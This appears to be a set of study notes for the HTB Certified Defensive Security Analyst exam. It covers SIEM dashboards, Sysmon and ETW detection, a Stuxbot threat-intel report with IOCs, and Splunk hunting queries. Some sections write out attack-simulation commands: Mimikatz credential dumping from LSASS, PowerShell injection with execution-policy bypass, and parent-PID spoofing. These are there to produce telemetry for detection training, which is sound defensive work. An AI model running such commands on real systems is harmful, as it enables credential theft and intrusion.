CDSA Exam
HTB Certified Defensive Security Analyst (HTB CDSA)
1. Security Monitoring & SIEM Fundamentals
SIEM_Visualization_Failed_Logons_All_Users
Objective
Create a dashboard and visualization to monitor failed logon attempts for all users.
Steps
- Navigate to the Target System
- Access the SIEM tool via
http://[Target IP]:5601. - Go to “Dashboard” from the side navigation.
- Access the SIEM tool via
- Delete Existing Dashboard
- Remove the “SOC-Alerts” dashboard if present.
- Create New Dashboard
- Click “Create new dashboard” to start from scratch.
- Set Up the Visualization
- Set Date Range: Use the time picker to select “last 15 years” as the date range, then apply it.
- Filter Configuration
- Use Event ID
4625to filter failed logon attempts. - Index Pattern - Set
windows*as the index pattern to use Windows-related logs. - Search Bar Check - Confirm
user.name.keywordis in the dataset for accurate aggregation. - Select Visualization Type - Choose the “Table” option for the display.
- Configure Table Settings
- Rows Settings
- Set up rows to display:
- Username - account attempting logon.
- Machine - reporting host machine (
host.hostname.keyword). - Count of Events - metric to show number of attempts. - Metrics
- Select “count” to populate the table based on the dataset.
- Save the Visualization
- Click “Save and return” to add it to the dashboard.
Refining the Visualization
- Edit the Visualization
- Access the previously created visualization and select “Edit lens”.
- Column Names
- Update for clarity as per SOC Manager’s suggestion. - Add Logon Type
- Include
winlog.logon.type.keywordfield for detailed logon types. - Sort Results - Sort the data within the visualization for better readability. - Exclude Specific Usernames
- Filter out usernames like
DESKTOP-DPOESND,WIN-OK9BH1BCKSD, andWIN-RMMGJA7T9TC. - Exclude Computer Accounts - Use a KQL query to exclude computers:
NOT user.name: *$ AND winlog.channel.keyword: Security.
- Save Refinements
- Finalize and save the visualization with a suitable title.
The completed table will now display:
- Usernames, excluding specified computer accounts.
- Machines where failed attempts occurred.
- The count of failed logon attempts over the defined timeframe.
1. Security Monitoring & SIEM Fundamentals
SIEM_Visualization_Failed_Logons_Disabled_Users
Objective
Create a visualization to monitor failed login attempts specifically for disabled users in a Windows environment.
Steps
- Navigate to the Target System
- Access the SIEM tool via
http://[Target IP]:5601. - Open the “Dashboard” by toggling the side navigation and selecting it.
- Access the SIEM tool via
- Edit Dashboard
- Click the “pencil” or edit icon to modify the dashboard.
- Click on “Create visualization” to start the process.
- Configure Visualization Settings
- Filter Configuration
- Set up a filter to focus on event ID
4625, representing failed logon attempts. - Use the
winlog.event_data.SubStatusfield with a value of0xC0000072to identify failures due to disabled user logins. - Index Pattern - Specify
windows*as the index pattern to ensure Windows-related logs are used. - Search Bar Check - Verify the
user.name.keywordfield is present in the dataset to confirm access to accurate data. - Choose Visualization Type - From the drop-down menu, select the “Table” visualization type.
- Table Configuration
- Rows Settings
- Add “Rows” and include relevant data elements.
- Configure the table to display:
- Disabled User - the user account associated with the failed attempt.
- Machine - the host machine reporting the event, using the
host.hostname.keywordfield. - Count of Events - set as “count” under “Metrics” to quantify the failed logon attempts.
- Save and Return
- Click “Save and return” to add the configured visualization to the dashboard.
The completed table will display:
- The disabled user account linked to the failed logon.
- The machine reporting the attempt.
- The count of failed logon attempts over the specified timeframe or dataset.
SIEM_Visualization_Successful_RDP_Logons_Service_Accounts
Objective
Create a visualization to monitor successful RDP logon attempts specifically related to service accounts.
Steps
- Navigate to the Target System
- Access the SIEM tool via
http://[Target IP]:5601. - Open the “Dashboard” from the side navigation.
- Access the SIEM tool via
- Edit Dashboard
- Click the “pencil” or edit icon to modify the dashboard.
- Select “Create visualization” to begin.
- Configure Visualization Settings
- Filter Configuration
- Set up a filter to focus on Event ID
4624(successful logon attempts). - Filter logon type to
RemoteInteractiveusing thewinlog.logon.typefield. - Index Pattern - Specify
windows*as the index pattern to use Windows-related logs. - Search Bar Check - Confirm
user.name.keywordis in the dataset to ensure field accuracy. - Select Visualization Type - Choose the “Table” option for the display.
- Table Configuration
- Rows Settings
- Add “Rows” to display:
- Service Account -
user.namefield (filtered for svc-* for service accounts). - Machine - reporting host machine (
host.hostname.keyword). - Initiating IP - IP of the machine that initiated the logon (
related.ip.keyword). - Count of Events - set to “count” to show event occurrences. - Metrics
- Service Account -
- Select “count” as the metric to populate the table.
- KQL Query for Service Accounts
- Use
user.name: svc-*to limit results to service accounts starting withsvc-.
- Use
- Save and Return
The completed table will display:
- Click “Save and return” to add the configured visualization to the dashboard.
- The service account used for the RDP logon.
- The machine that received the logon.
- The IP of the initiating machine.
- The count of successful RDP logon attempts.
SIEM_Visualization_User_Add_Remove_Local_Group
Objective
Create a visualization to monitor user additions or removals from the “Administrators” group from March 5th, 2023 to the present date.
Steps
- Navigate to the Target System
- Access the SIEM tool via
http://[Target IP]:5601. - Open the “Dashboard” from the side navigation.
- Access the SIEM tool via
- Edit Dashboard
- Click the “pencil” or edit icon to modify the dashboard.
- Select “Create visualization” to start.
- Configure Visualization Settings
- Filter Configuration
- Set up filters to focus on Event IDs
4732(user added to group) and4733(user removed from group). - Filter events to only include changes involving the “Administrators” group. - Index Pattern
- Specify
windows*as the index pattern to use Windows-related logs. - Search Bar Check - Confirm
user.name.keywordis present to ensure access to relevant data. - Select Visualization Type - Choose the “Table” option for the display.
- Table Configuration
- Rows Settings
- Add “Rows” to display:
- User Involved - account added or removed (
winlog.event_data.MemberSid.keyword). - Group Targeted - confirm it’s the “Administrators” group (
group.name.keyword). - Action Taken - whether the user was added or removed (
event.action.keyword). - Machine Name - the host reporting the change (
host.name.keyword). - Count of Events - set to “count” for the number of occurrences. - Metrics
- User Involved - account added or removed (
- Select “count” as the metric to populate the table.
- Set Date Range
- Apply a date filter from March 5th, 2023 to the current date to narrow the data scope.
- Save and Return
- Click “Save and return” to add the configured visualization to the dashboard.
The completed table will display:
- The user added or removed from the group.
- The group, ensuring it is the “Administrators” group.
- The action taken (added or removed).
- The machine where the action occurred.
- The count of additions or removals within the specified timeframe.
2. Windows Event Logs & Finding Evil
Analyzing_Evil_With_Sysmon_and_Event_Logs
Overview
Effective cybersecurity involves identifying and analyzing malicious events. Using event logs and Sysmon enhances detection of suspicious activity, with Sysmon providing detailed monitoring beyond standard Security Event logs.
Sysmon Basics
Sysmon (System Monitor) is a Windows tool for logging system activity beyond what standard event logs provide. Its main components include:
- Windows Service: Monitors system activities.
- Device Driver: Captures data for logging.
- Event Log: Displays captured activity.
Sysmon offers unique event IDs for various types of activity:
- Event ID 1: Process Creation
- Event ID 3: Network Connection
Sysmon configuration is controlled through an XML file that allows inclusion/exclusion of events based on attributes such as process names or IP addresses. Recommended configurations:
Installation (requires admin):
C:\\Tools\\Sysmon> sysmon.exe -i -accepteula -h md5,sha256,imphash -l -n
Applying a Custom Config:
C:\\Tools\\Sysmon> sysmon.exe -c filename.xml
Detection Example 1: DLL Hijacking Detection
Sysmon Event ID 7 (Module Load) can be used to detect DLL hijacking. Here’s an approach to detect a hijack:
- Modify Sysmon Config: Use the
sysmonconfig-export.xmlfile and ensure module load events are not excluded. - Monitoring: Event Viewer -> Applications and Services -> Microsoft -> Windows -> Sysmon.
Indicators of Compromise (IOCs)
- calc.exe in writable directory: An unusual directory for a system executable.
- WININET.dll loaded outside System32: Indicates hijacking of a trusted DLL.
- DLL signing status: Microsoft-signed DLLs being replaced with unsigned versions.
Detection Example 2: Unmanaged PowerShell/C# Injection Detection
Injection of PowerShell or C# into unmanaged processes can indicate malicious behavior. Observing unusual managed code running within unmanaged processes:
- Identify .NET Runtime: Detect clr.dll or clrjit.dll in processes that don’t normally use C#.
- Tools: Process Hacker can be used to view process types and loaded modules.
Example of Injection:
powershell -ep bypass
Import-Module .\\Invoke-PSInject.ps1
Invoke-PSInject -ProcId [Process ID] -PoshCode "Write-Host 'Hello, World!'"
Sysmon Event ID 7 can reveal DLLs like clr.dll being loaded by unusual processes.
Detection Example 3: Credential Dumping Detection (e.g., Mimikatz)
Credential dumping (e.g., with Mimikatz) often targets LSASS (Local Security Authority Subsystem Service). Mimikatz command sekurlsa::logonpasswords dumps credentials from LSASS.
Detection Method
- Sysmon Event ID 10 (Process Access): Monitors access to LSASS.
- Indicators:
- Random processes accessing LSASS.
- SourceUser different from TargetUser (e.g., “waldo” accessing SYSTEM’s LSASS).
- Requests for SeDebugPrivileges.
Sample Mimikatz Execution
C:\\Tools\\Mimikatz> mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
These detections using Sysmon and event logs provide telemetry for identifying suspicious behavior, though they should be combined with other cybersecurity tools for robust monitoring.
Event_Tracing_for_Windows_ETW
Overview
Event Tracing for Windows (ETW) is a high-performance event tracing tool in Windows, enabling comprehensive logging from both user-mode applications and kernel-mode device drivers. ETW facilitates the dynamic generation, collection, and analysis of system events, providing telemetry that spans system calls, process creation/termination, network activity, file/registry changes, and more. ETW’s data offers invaluable context for detecting anomalies, investigating security incidents, and performing forensic analysis.
Key Components of ETW
- Controllers: Responsible for managing ETW sessions, including starting, stopping, and enabling providers.
- Example: logman.exe is a common controller for ETW activities.
- Providers: Generate specific types of events within ETW, based on four primary types:
- MOF Providers: Use Managed Object Format for flexible event generation.
- WPP Providers: Leverage source code annotations for kernel-mode tracing.
- Manifest-based Providers: Use XML manifests to define event structure.
- TraceLogging Providers: Simplified providers for recent Windows versions.
- Consumers: Subscribe to and process specific ETW events, often saved in .ETL files for long-term storage.
- Channels: Logical containers that organize events by characteristics, allowing consumers to selectively subscribe.
- ETL Files: Event Trace Log (ETL) files are durable storage formats for offline analysis, archiving, and investigations.
Interacting with ETW
Managing ETW Sessions
- Logman Utility: Used to create, start, stop, and query ETW sessions.
C:\\Tools> logman.exe query -etsThis command provides details about active ETW sessions.
- Querying Session Details: Inspecting session details (Name, Log Size, Providers) can offer incident responders critical context for investigations.
C:\\Tools> logman.exe query "EventLog-System" -ets - Provider Listing: List all available providers on the system.
C:\\Tools> logman.exe query providers
GUI Alternatives
- Performance Monitor: Visualizes active ETW sessions, with modification options for adding/removing providers.
- EtwExplorer: Provides metadata insights into ETW providers.
Useful ETW Providers
- Microsoft-Windows-Kernel-Process: Monitors process activities like injection or hollowing.
- Microsoft-Windows-Kernel-File: Detects file modifications related to exfiltration or ransomware.
- Microsoft-Windows-Kernel-Network: Captures network activities to detect unauthorized connections.
- Microsoft-Windows-SMBClient/SMBServer: Tracks SMB traffic, potentially useful for detecting lateral movement.
- Microsoft-Windows-DotNETRuntime: Monitors .NET runtime for suspicious application executions.
- Microsoft-Windows-PowerShell: Essential for tracking PowerShell execution and command logging.
- Microsoft-Windows-TerminalServices-LocalSessionManager: Observes RDP activity, useful for detecting remote desktop intrusions.
Restricted Providers
Microsoft-Windows-Threat-Intelligence: A high-value, restricted provider requiring privileged access (PPL - Protected Process Light) for telemetry on sophisticated threats. This provider is critical in DFIR operations and may reveal granular threat data, origins, interactions, and impacts. Privileged access enables capturing detailed logs of advanced threats, though some workarounds exist.
ETW is an advanced telemetry source with minimal system performance impact, suitable for real-time monitoring and continuous security assessment. Future sections will cover leveraging ETW for attack detection beyond Sysmon’s capabilities.
References
Get-WinEvent
Understanding the importance of mass analysis of Windows Event Logs and Sysmon logs is pivotal in the realm of cybersecurity, especially in Incident Response (IR) and threat hunting scenarios. These logs hold invaluable information about the state of your systems, user activities, potential threats, system changes, and troubleshooting information.
Using Get-WinEvent
The Get-WinEvent cmdlet is a powerful tool in PowerShell for querying Windows Event logs en masse. It allows the retrieval of different types of event logs, including classic logs (like System and Application logs) and Event Tracing for Windows (ETW) logs.
Listing Available Logs
To retrieve a list of all logs and display key properties:
Get-WinEvent -ListLog * | Select-Object LogName, RecordCount, IsClassicLog, IsEnabled, LogMode, LogType | Format-Table -AutoSize
Output Example
| LogName | RecordCount | IsClassicLog | IsEnabled | LogMode | LogType |
|---|---|---|---|---|---|
| Windows PowerShell | 2916 | True | True | Circular | Administrative |
| System | 1786 | True | True | Circular | Administrative |
Listing Event Providers
Event providers are sources of events in the logs. To list providers and their associated logs:
Get-WinEvent -ListProvider * | Format-Table -AutoSize
Retrieving Specific Events
System Log Events
Retrieve the first 50 events from the System log:
Get-WinEvent -LogName 'System' -MaxEvents 50 | Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSize
WinRM Operational Log
Retrieve events from Microsoft-Windows-WinRM/Operational:
Get-WinEvent -LogName 'Microsoft-Windows-WinRM/Operational' -MaxEvents 30 | Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSize
Filtering by Date Range
To filter events by date, specify a range:
$startDate = (Get-Date -Year 2023 -Month 5 -Day 28).Date
$endDate = (Get-Date -Year 2023 -Month 6 -Day 3).Date
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1,3; StartTime=$startDate; EndTime=$endDate} | Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSize
Filtering by Event ID and Properties
Retrieve Sysmon event IDs 1 and 3:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1,3} | Select-Object TimeCreated, ID, ProviderName, LevelDisplayName, Message | Format-Table -AutoSize
Filtering with XML Content
Detect specific DLL loads (mscoree.dll and clr.dll) using XML:
$Query = @"
<QueryList>
<Query Id="0">
<Select Path="Microsoft-Windows-Sysmon/Operational">*[System[(EventID=7)]] and *[EventData[Data='mscoree.dll']] or *[EventData[Data='clr.dll']]</Select>
</Query>
</QueryList>
"@
Get-WinEvent -FilterXml $Query | ForEach-Object {Write-Host $_.Message `n}
Detecting Specific Network Connections
An example command to check for network connections to a specific IP:
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' -FilterXPath "*[System[EventID=3] and EventData[Data[@Name='DestinationIp']='52.113.194.132']]"
Viewing All Properties of a Sysmon Event
To get a detailed view of all properties in a Sysmon event:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1} -MaxEvents 1 | Select-Object -Property *
Searching for Encoded Commands
Detects events where encoded commands (-enc) are used, often for obfuscating scripts:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1} | Where-Object {$_.Properties[21].Value -like "*-enc*"} | Format-List
These examples demonstrate using Get-WinEvent for efficient log analysis, including filtering, XML queries, and detailed event inspection.
Tapping_Into_ETW
Overview
Event Tracing for Windows (ETW) offers a rich data source for detecting and analyzing suspicious activities, with detailed visibility into system events. Below are some detection scenarios that utilize ETW’s capabilities for enhanced security insights.
Detection Example 1: Detecting Strange Parent-Child Relationships
Unusual parent-child process relationships, such as “calc.exe” spawning “cmd.exe”, can indicate malicious activity. Observing such anomalies helps in identifying possible threats. Process Hacker provides a way to explore these relationships within Windows.
Attack Simulation - Parent PID Spoofing
- Attackers can simulate a strange parent-child relationship using Parent PID Spoofing.
- Example command:
PS C:\\Tools\\psgetsystem> powershell -ep bypass Import-Module .\\psgetsys.ps1 [MyProcess]::CreateProcessFromParent([Process ID], "C:\\Windows\\System32\\cmd.exe", "")
Using ETW with SilkETW can enhance detection by providing accurate telemetry beyond what Sysmon logs alone may capture.
Using SilkETW
Run SilkETW to capture accurate process relationships:
c:\\Tools\\SilkETW_SilkService_v8\\v8\\SilkETW>SilkETW.exe -t user -pn Microsoft-Windows-Kernel-Process -ot file -p C:\\windows\\temp\\etw.json
Detection Example 2: Detecting Malicious .NET Assembly Loading
Threat actors increasingly use .NET assemblies loaded directly in memory, bypassing disk-based detection. Known as “Bring Your Own Land” (BYOL), this tactic leverages the .NET framework pre-installed on Windows.
Attack Simulation - Malicious .NET Assembly Load
- Executing a .NET assembly like Seatbelt from memory loads .NET-related DLLs (clr.dll, mscoree.dll).
- Sysmon Event ID 7 can track these DLL loads, but Sysmon alone may not capture all assembly details.
Using ETW with SilkETW for Deeper Insights
To monitor .NET runtime activity, capture events from the Microsoft-Windows-DotNETRuntime provider with SilkETW:
c:\\Tools\\SilkETW_SilkService_v8\\v8\\SilkETW>SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\\windows\\temp\\etw.json
Selected Keywords in Use:
- JitKeyword: Tracks Just-In-Time (JIT) compilation events.
- InteropKeyword: Logs managed-to-unmanaged code interactions.
- LoaderKeyword: Monitors assembly loading activities.
- NGenKeyword: Captures precompiled .NET assembly operations.
These keywords provide focused telemetry on .NET activity, aiding in the detection of in-memory .NET execution, which traditional logs might overlook.
Leveraging ETW and targeted providers like Microsoft-Windows-Kernel-Process and Microsoft-Windows-DotNETRuntime enables security teams to detect and respond to advanced threats effectively, including unusual process relationships and in-memory .NET assembly loads.
References
Windows_Event_Log_Components_and_Event_IDs
Overview
Each Windows Event Log entry, termed as an “Event,” contains the following primary components:
- Log Name: The name of the event log (e.g., Application, System, Security).
- Source: The software that generated the event.
- Event ID: A unique identifier for the event.
- Task Category: Describes the purpose or category of the event.
- Level: Indicates the severity (Information, Warning, Error, Critical, Verbose).
- Keywords: Flags that categorize events, like “Audit Success” or “Audit Failure” for Security logs.
- User: The account that was logged in when the event occurred.
- OpCode: Identifies the specific operation reported.
- Logged: Timestamp for when the event was logged.
- Computer: Name of the computer where the event took place.
- XML Data: XML format of the event data, containing all above fields and additional details.
The Keywords field is particularly useful for filtering and efficiently managing logs, allowing refined searches for specific event types.
Key Windows System Logs
- Event ID 1074: System Shutdown/Restart - Logs when and why the system was shut down or restarted. Abnormal shutdowns can indicate potential malware or unauthorized access.
- Event ID 6005: Event Log Service Start - Marks when the Event Log Service started, often at system boot.
- Event ID 6006: Event Log Service Stop - Indicates Event Log Service stop, typically seen during shutdown.
- Event ID 6013: Windows Uptime - Logs uptime in seconds; unexpected reboots may signal intrusion.
- Event ID 7040: Service Status Change - Logs changes in a service’s startup type; unexpected changes could indicate tampering.
Key Windows Security Logs
- Event ID 1102: Audit Log Cleared - Often associated with intrusion attempts.
- Event ID 1116: Antivirus Malware Detection - Indicates when malware is detected; a rise may suggest an active infection.
- Event ID 1118: Antivirus Remediation Start - Marks the start of malware remediation.
- Event ID 1119: Antivirus Remediation Success - Logs successful malware removal.
- Event ID 1120: Antivirus Remediation Failure - Signifies failed malware removal attempts.
- Event ID 4624: Successful Logon - Records user logins; unusual logins may indicate security risks.
- Event ID 4625: Failed Logon - Failed login attempts, indicating potential brute-force attacks.
- Event ID 4648: Logon with Explicit Credentials - Tracks logons with specific credentials, useful for detecting lateral movement.
- Event ID 4656: Object Handle Request - Logs requests for object handles, aiding in access control monitoring.
- Event ID 4672: Special Privileges Assigned - Super user privileges granted; monitors privilege usage.
- Event ID 4698: Scheduled Task Created - Monitors task creation, often a persistence technique for malware.
- Event ID 4700 & 4701: Scheduled Task Enabled/Disabled - Tracks task status changes, often used by attackers.
- Event ID 4702: Scheduled Task Updated - Logs task updates, potential indicator of malicious changes.
- Event ID 4719: System Audit Policy Change - Records changes to audit policy, potentially covering tracks.
- Event ID 4738: User Account Changed - Logs user account modifications, useful for detecting unauthorized changes.
- Event ID 4771: Kerberos Pre-authentication Failed - Similar to failed logon, specific to Kerberos; may indicate brute force.
- Event ID 4776: Domain Controller Credential Validation - Tracks credential validation attempts by the domain controller.
- Event ID 5001: Antivirus Real-time Protection Configuration Change - Monitors changes in real-time protection settings.
- Event ID 5140: Network Share Accessed - Critical for monitoring unauthorized network access.
- Event ID 5142: Network Share Created - Logs new network shares, potential for data exfiltration or malware spread.
- Event ID 5145: Network Share Access Check - Tracks attempts to access network shares.
- Event ID 5157: Windows Filtering Platform Connection Blocked - Monitors blocked network connections.
- Event ID 7045: Service Installed - Unknown services may suggest malware installation.
Monitoring these logs can help identify unauthorized access, potential intrusions, and configuration changes that may signify malicious activity or policy violations.
3. Introduction to Threat Hunting & Hunting With Elastic
Stuxbot_Threat_Intel_Report
Summary
The “Stuxbot” cybercrime collective has initiated a broad phishing campaign, primarily targeting Microsoft Windows users without any specific targeting strategy. Their objective appears to be espionage, aiming for system control and escalation rather than financial gain.
- Platforms in Crosshairs: Microsoft Windows
- Threatened Entities: Windows Users
- Potential Impact: Complete computer takeover / Domain escalation
- Risk Level: Critical
Attack Tactics and Techniques
Stuxbot utilizes opportunistic phishing for initial access, leveraging breached email databases and publicly available data. The group has a modular Remote Access Tool (RAT) for espionage and maintains persistence with disk-based EXE files.
Lifecycle Overview
- Initial Breach: Phishing emails with links to OneNote files containing a malicious batch file.
- RAT Characteristics: The modular RAT includes screen capture, Mimikatz, and interactive CMD tools.
- Persistence: EXE files deployed on the disk.
- Lateral Movement: Uses Microsoft-signed PsExec and WinRM for internal propagation.
Indicators of Compromise (IOCs)
OneNote File:
https://transfer.sh/get/kNxU7/invoice.onehttps://mega.io/dl9o1Dz/invoice.one
Staging Entity (PowerShell Script):
https://pastebin.com/raw/AvHtdKb2https://pastebin.com/raw/gj58DKz
C&C Nodes:
91.90.213.14:443103.248.70.64:443141.98.6.59:443
SHA256 Hashes:
226A723FFB4A91D9950A8B266167C5B354AB0DB1DC225578494917FE53867EF2C346077DAD0342592DB753FE2AB36D2F9F1C76E55CF8556FE5CDA92897E99C7E018D37CBD3878258C29DB3BC3F2988B6AE688843801B9ABC28E6151141AB66D4
Hunting For Stuxbot With The Elastic Stack
The hunt for Stuxbot utilizes the Elastic Stack, with logs from multiple sources, including Windows, Sysmon, PowerShell, and Zeek.
Available Data
- Windows audit logs under
windows* - Sysmon logs under
windows* - PowerShell logs under
windows* - Zeek logs under
zeek*
Our search covers logs dating back to March 2023, containing approximately 118,975 entries in Windows logs and 332,261 in Zeek logs.
Environment Overview
The company setup includes around 200 employees with primary use of Office applications, Gmail for email, and Microsoft Edge for browsing. TeamViewer is used for remote support, and Active Directory manages devices.
Hunting Activities
- Invoice File Download Detection
- Query:
event.code:15 AND file.name:*invoice.one - Result: Identified “invoice.one” file download by user Bob on 26th March 2023 at 22:05:47.
- Query:
- File Execution Detection
- Query:
event.code:11 AND file.name:invoice.one* - Hostname:
WS001with IP192.168.28.130. - Further checks reveal
cmd.exeinitiated the execution of “invoice.bat” and PowerShell from Pastebin.
- Query:
- Network Activity Review
- Query:
source.ip:192.168.28.130 AND dns.question.name:* - Findings: File download from
file.ioverified with DNS and IP matches.
- Query:
- Command Execution Tracing
- OneNote accessed “invoice.one” file and initiated
cmd.exe. - PowerShell script download from Pastebin was detected with suspicious arguments.
- OneNote accessed “invoice.one” file and initiated
- Persistence Mechanism Check
- Query:
process.name:"default.exe" - Findings: “default.exe” initiated DNS resolutions and network connections consistent with C2 behavior.
- Query:
- Further Lateral Movement Detection
- “SharpHound.exe” used for Active Directory reconnaissance on both
WS001andPKI. svc-sql1account credentials likely compromised.
- “SharpHound.exe” used for Active Directory reconnaissance on both
Conclusion and Next Steps
Stuxbot’s activities have been mapped through multiple stages from initial access to lateral movement and persistence. The compromised svc-sql1 account suggests critical exposure within the organization. Immediate steps for containment and further analysis are recommended to mitigate ongoing risks.
4. Understanding Log Sources & Investigating with Splunk
Core_SPL_Commands
Basic Searching
Example: search index="main" "UNKNOWN"
Boolean and Comparison Operators
Example: index="main" EventCode!=1
Fields Command
Exclude a field from results: index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | fields - User
Table Command
Present results in a table: index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | table _time, host, Image
Rename Command
Rename fields in results: index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | rename Image as Process
Dedup Command
Remove duplicate events: index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | dedup Image
Sort Command
Sort results: index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | sort - _time
Stats Command
Run statistical operations: index="main" sourcetype="WinEventLog:Sysmon" EventCode=3 | stats count by _time, Image
Chart Command
Create visualizations: index="main" sourcetype="WinEventLog:Sysmon" EventCode=3 | chart count by _time, Image
Eval Command
Create/redefine fields: index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | eval Process_Path=lower(Image)
Rex Command
Extract fields with regex: index="main" EventCode=4662 | rex max_match=0 "[^%](?<guid>{.*})" | table guid
Lookup Command
Enrich data with external sources.
Example usingmalware_lookup.csv
index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | rex field=Image "(?P<filename>[^\\\\]+)$" | eval filename=lower(filename) | lookup malware_lookup.csv filename OUTPUTNEW is_malware | table filename, is_malware
Inputlookup Command
Retrieve data from a lookup file: | inputlookup malware_lookup.csv
Time Range Filter
Limit searches to specific times: index="main" earliest=-7d EventCode!=1
Transaction Command
Group related events: index="main" sourcetype="WinEventLog:Sysmon" (EventCode=1 OR EventCode=3) | transaction Image startswith=eval(EventCode=1) endswith=eval(EventCode=3) maxspan=1m | table Image | dedup Image
Subsearches
Nest searches: index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 NOT [ search index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | top limit=100 Image | fields Image ] | table _time, Image, CommandLine, User, ComputerName
Data and Field Identification
- Use SPL Commands: To understand available data and fields.
| eventcount summarize=false index=* | table index| metadata type=sourcetypessourcetype="WinEventLog:Security" | table _raw
- Data Models: Structure and understand data.
- Pivot: Interactive way to explore data without SPL queries.
Refer to Splunk Documentation for more.
Detecting_Attacker_Behavior_With_Analytics
In threat detection, anomaly-based detection models help identify unusual patterns by profiling typical behavior and flagging deviations. Splunk’s analytics-based approach often uses statistical commands like streamstats to establish baselines, allowing us to detect unusual activity that may indicate an intrusion.
Example 1: Detecting Anomalous Network Connections withstreamstats
This example monitors network connections by process, alerting on processes that exceed the expected frequency of connections.
index="main" sourcetype="WinEventLog:Sysmon" EventCode=3 | bin _time span=1h | stats count as NetworkConnections by _time, Image | streamstats time_window=24h avg(NetworkConnections) as avg stdev(NetworkConnections) as stdev by Image | eval isOutlier=if(NetworkConnections > (avg + (0.5*stdev)), 1, 0) | search isOutlier=1
Explanation:
streamstatscalculates a rolling average and standard deviation of network connections over 24 hours.isOutlierflags processes whose network connections exceed 0.5 standard deviations above the average, signaling potential command-and-control activity.
Example 2: Detecting Abnormally Long Commands
Attackers may use long command lines to evade detection. This query identifies unusually lengthy commands.
index="main" sourcetype="WinEventLog:Sysmon" Image=*cmd.exe | eval len=len(CommandLine) | table User, len, CommandLine | sort - len
After examining the output, filtering out benign activity refines the results:
index="main" sourcetype="WinEventLog:Sysmon" Image=*cmd.exe ParentImage!="*msiexec.exe" ParentImage!="*explorer.exe" | eval len=len(CommandLine) | table User, len, CommandLine | sort - len
Example 3: Detecting Unusual cmd.exe Activity by User
Monitoring cmd.exe use can help flag suspicious behavior:
index="main" EventCode=1 (CommandLine="*cmd.exe*") | bucket _time span=1h | stats count as cmdCount by _time User CommandLine | eventstats avg(cmdCount) as avg stdev(cmdCount) as stdev | eval isOutlier=if(cmdCount > avg+1.5*stdev, 1, 0) | search isOutlier=1
Example 4: Detecting Processes Loading Many DLLs Rapidly
Malware may load multiple DLLs quickly. This query identifies such behavior:
index="main" EventCode=7 NOT (Image="C:\\Windows\\System32*") NOT (Image="C:\\Program Files*") | bucket _time span=1h | stats dc(ImageLoaded) as unique_dlls_loaded by _time, Image | where unique_dlls_loaded > 3 | stats count by Image, unique_dlls_loaded | sort - unique_dlls_loaded
Example 5: Detecting Multiple Instances of a Process on the Same Host
Repetitive process executions can indicate abnormal activity:
index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | transaction ComputerName, Image | where mvcount(ProcessGuid) > 1 | stats count by Image, ParentImage
For deeper analysis, target specific pairs such as rundll32.exe and svchost.exe:
index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | transaction ComputerName, Image | where mvcount(ProcessGuid) > 1 | search Image="C:\\Windows\\System32\\rundll32.exe" ParentImage="C:\\Windows\\System32\\svchost.exe" | table CommandLine, ParentCommandLine
Conclusion
Using analytics, we establish behavioral baselines and identify deviations to uncover suspicious activity. While this approach highlights anomalies, it works best in combination with TTP-based detection to cover a broader spectrum of potential threats.
Detecting_Attacker_Behavior_With_TTPs
In cybersecurity, identifying and monitoring for attacker tactics, techniques, and procedures (TTPs) are essential for effective threat detection. This process involves recognizing patterns that indicate either known malicious behavior or anomalies that deviate from the norm. Detection strategies in Splunk involve two key approaches:
- Using Known TTPs: Leveraging our understanding of specific attack behaviors to create detection rules.
- Anomaly Detection: Using statistical analysis to identify unusual patterns without prior knowledge of specific attacks.
Together, these approaches provide a comprehensive toolkit for recognizing and responding to various threats. Regularly tuning queries and thresholds in both methods enhances accuracy and reduces false positives.
Crafting SPL Searches Based on Known TTPs
Using known TTPs as a foundation, detection queries are crafted to match behaviors associated with specific threats. Examples of detection searches following this approach are outlined below.
Example: Detecting Reconnaissance Activities with Native Windows Binaries
Attackers often use native Windows binaries like net.exe and ipconfig.exe for reconnaissance. Sysmon Event ID 1 can help identify such actions.
index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 Image=*\\ipconfig.exe OR Image=*\\net.exe OR Image=*\\whoami.exe OR Image=*\\netstat.exe OR Image=*\\nbtstat.exe OR Image=*\\hostname.exe OR Image=*\\tasklist.exe | stats count by Image,CommandLine | sort - count
Example: Detecting Malicious Payload Requests Hosted on Reputable Domains
Attackers may host malicious tools on platforms like githubusercontent.com. Sysmon Event ID 22 can identify these requests.
index="main" sourcetype="WinEventLog:Sysmon" EventCode=22 QueryName="*github*" | stats count by Image, QueryName
Example: Detecting PsExec Usage
PsExec, a powerful tool for remote command execution, is frequently leveraged by attackers. Relevant Sysmon events include Event ID 13, Event ID 11, and Event ID 18.
Case 1: Sysmon Event ID 13
index="main" sourcetype="WinEventLog:Sysmon" EventCode=13 Image="C:\\Windows\\system32\\services.exe" TargetObject="HKLM\\System\\CurrentControlSet\\Services\\*\\ImagePath" | rex field=Details "(?<reg_file_name>[^\\\\]+)$" | eval file_name = if(isnull(file_name),reg_file_name,lower(file_name)) | stats values(Image) AS Image, values(Details) AS RegistryDetails, values(_time) AS EventTimes, count by file_name, ComputerName
Case 2: Sysmon Event ID 11
